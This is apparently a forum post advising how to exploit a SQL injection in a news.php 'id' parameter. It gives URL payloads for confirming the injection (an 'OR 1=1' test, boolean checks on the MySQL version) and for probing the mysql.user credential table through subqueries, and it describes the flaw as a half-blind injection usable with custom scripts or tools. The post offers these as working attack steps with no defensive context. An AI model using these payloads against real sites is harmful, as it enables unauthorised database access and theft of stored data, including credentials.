First, you don't need single quotes:
Code: |
/news.php?id=-11+f00bar
|
Next, try to get syntax right with by testing various stuff:
Code: |
/news.php?id=-11+OR+1=1+
|
Now, you have sql injection in UPDATE clause, but in "WHERE" condition.
So no arbitrary data alteration here. But in case of mysql 4.x you can use subqueries feature for fetching any data from database.
Code: |
/news.php?id=1+AND+LENGTH(@@version)>3
|
Code: |
/news.php?id=1+AND+(SELECT+COUNT(*)+FROM+mysql.user)>0
|
This is half-blind sql injection, it's not easy to exploit - you must have custom script written or use some sql injection tools. |
